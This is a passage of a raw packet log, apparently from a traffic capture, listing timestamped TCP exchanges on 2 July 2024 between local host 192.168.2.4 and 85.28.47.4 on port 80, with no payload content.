Jul 2, 2024 15:26:08.315790892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315798998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315819025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315823078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315826893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315838099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315854073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315855980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315871000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315881014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315901041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315928936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315932035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315968037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316020012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316032887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316050053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316055059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316066027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316071987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316082954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316092014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316098928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316106081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316123009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316128969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316138029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316144943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316153049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316179037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316257954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316268921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316287041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316293955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316298008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316303015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316319942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316328049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316335917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316345930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316359043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316365004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316375971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316385984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316394091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316397905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316421986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316422939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316430092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316437960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316456079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316462040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316471100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316477060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316492081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316509008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316562891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316575050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316592932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316597939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316608906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316625118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316649914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316663027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316679955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316688061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316690922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316704988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316711903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316715956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316730022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316745043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316747904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316761017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316778898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316786051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316797018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316798925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316812038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316813946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316833019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316836119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316844940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316848040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316862106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316865921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316878080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316894054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316909075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316924095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316937923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316948891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.316973925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.316992998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.317023993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.317035913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.317054033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.317060947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.317070007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.317075014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.317089081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.317105055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397074938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397105932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397125959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397135019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397154093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397162914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397171021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397177935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397177935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397217989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397242069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397258997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397279978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397285938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397296906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397300959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397315025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397319078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397327900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397330999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397350073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397357941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397360086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397367954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397383928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397391081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397392988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397412062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397423029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397425890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397439003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397443056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397459984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397464037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397475958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397485018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397495985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397495985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397514105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397516966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397530079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397531033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397556067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397556067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397566080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397573948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397583961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397588968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397605896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397609949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397620916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397622108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397639990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397650957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397650957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397667885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397671938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397680044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397701979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397711039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397746086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397773027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397784948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397800922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397821903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397830009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397847891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397857904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397876024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397886038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397893906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397907972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397913933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397919893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.397924900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397937059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.397950888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.398415089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.398461103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404387951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404403925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404431105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404450893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404455900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404467106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404473066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404499054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404500961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404510021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404510975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404530048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404531002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404546022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404563904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404897928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404941082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404946089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404953957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.404974937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.404984951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405023098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405035019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405052900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405061007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405066967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405075073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405086040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405092001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405107975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405117989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405498028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405508995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405528069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405549049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405565023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405570984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405582905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405600071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405610085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405611038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405637026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405656099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405702114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405714035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405731916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405742884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405747890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405766964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405767918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405782938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405792952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405803919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405814886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405824900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405836105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405853987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405863047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405869007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405884027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405886889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405903101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405920982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405925035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405937910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405953884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.405960083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405982018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.405992031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406006098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406011105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406017065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406028986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406035900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406043053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406044960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406060934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406065941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406075954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406076908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406105995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406116009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406126022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406161070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406177998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406188965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406213045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406219959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406224966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406244993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406251907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406255960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406272888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406285048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406289101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406296968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406316996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406323910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406342983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406358004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406371117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406382084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406402111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406415939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406424046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406434059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406440973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406470060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406470060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406478882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406527996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406558037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406569004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406586885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406594992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406603098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406619072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406627893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406639099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406657934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406666994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406667948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406686068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406694889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406696081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406711102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406708956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406728983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406732082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.406738043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.406769991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487484932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487508059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487529993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487540007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487565041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487575054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487582922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487602949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487627983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487627983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487638950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487689972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487701893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487720966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487729073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487735987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487740993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487756014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487756968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487766981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487788916 CEST	49730	80	192.168.2.4	85.28.47.4
